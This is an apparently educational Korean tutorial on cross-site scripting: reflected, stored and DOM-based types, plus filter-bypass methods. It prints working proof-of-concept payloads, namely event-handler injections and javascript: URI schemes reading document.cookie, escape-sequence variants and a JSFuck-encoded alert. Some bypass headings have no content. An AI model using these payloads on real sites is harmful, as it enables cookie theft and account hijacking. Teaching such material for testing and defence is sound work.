XSS란?
Cross Site Scripting의 약자로 CSS라고 불리는게 맞으나 Cascading Style Sheets의 약자로 널리 쓰이고 있어 혼동을 피하기 위해서 XSS라고 부릅니다.
XSS는 악성 스크립트를 웹 브라우저를 통해 실행시키는 취약점입니다.
XSS의 종류는 크게 3가지가 있는데 아래와 같습니다.
- Reflected XSS
- Stored XSS
- DOM-Based XSS
Reflected XSS
Reflected XSS는 악성 스크립트가 담긴 요청을 수행 할 때 발생하는 XSS입니다.
Example
아래와 같이 URL의 파라미터를 통해 XSS구문을 입력 후 요청하자 XSS 구문이 동작하는 것을 알 수 있습니다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F23bfa67f-5301-41c3-84d8-be067411732a%2FUntitled.png?table=block&id=4ea7f8ad-ebab-433a-be5f-4973e0f750c5&cache=v2)
Stored XSS
Stored XSS는 악성 스크립트가 서버에 저장되어 서버의 응답에 담겨오는 XSS입니다.
Example
아래와 같이 글을 저장 할 수 있는 곳에 XSS 구문을 입력하여 저장을 해주었습니다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F308ef92b-e2f4-43ac-a2d8-72ebdc8e9b86%2FUntitled.png?table=block&id=e6d5d1ec-cdea-4df3-9f2a-8b68806b7b75&cache=v2)
XSS가 담긴 글을 조회하게 되면 아래와 같이 XSS구문이 동작하는 것을 볼 수 있습니다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F48e5af9c-cf16-49aa-830f-f8fc1b5e74b4%2FUntitled.png?table=block&id=72f75b89-ac57-422a-821e-7d94043fe3ed&cache=v2)
Bypass XSS Filter
Event Handler
이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리할 수 있는 callback 형태의 함수입니다.
대표적으로
onload
, onerror
, onfocus
가 자주 사용됩니다.onload
태그가 요청하는 데이터가 성공적으로 로드 시 실행됩니다.
<img src="정상적인 이미지 주소" onload=alert(document.cookie)>
onerror
태그가 요청하는 데이터가 로드되지 않았을 경우 실행됩니다.
<img src=”비정상적인 이미지 주소” onerror=alert(document.cookie)
onfocus
<input>
, <textarea>
, <select>
, <button>
등 태그에 커서를 클릭하게 되면 실행됩니다.<input onfoucs=alert(document.cookie) type=text id=inputID>
문자열 치환
JavaScript Schemes
URI Scheme는 URL 로드 시 자바스크립트 코드를 실행할 수 있습니다.
URL을 속성 값으로 받는
<a>
, <iframe>
태그 등에 사용할 수 있습니다.JavaScript는
()
, `
를 사용하여 함수를 호출하는데 JavaScript Scheme를 사용하면 우회할 수 있습니다.Example
<a href="javascript:alert(document.cookie)">bobong</a> <iframe src="javascript:alert(document.cookie)"> location="javascript:alert\x28document.domain\x29;"; location.href="javascript:alert\u0028document.domain\u0029;"; location['href']="javascript:alert\050document.domain\051;";
특수문자 포함
HTML Entity Encoding
Unicode escape sequence
Computed member access
JSFuck
JSFfuck를 사용하면 JS를 6개의 문자를 통해서 표현이 가능합니다.
Example
alert(1)
를 JSFuck을 이용해 인코딩하면 아래와 같다.[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
Template Literals
RegExp
String.fromCharCode
내장 함수 및 객체의 문자 사용
진수 변환 이용
XSS Cheat Sheet
xss-payload-list
payloadbox • Updated Mar 27, 2024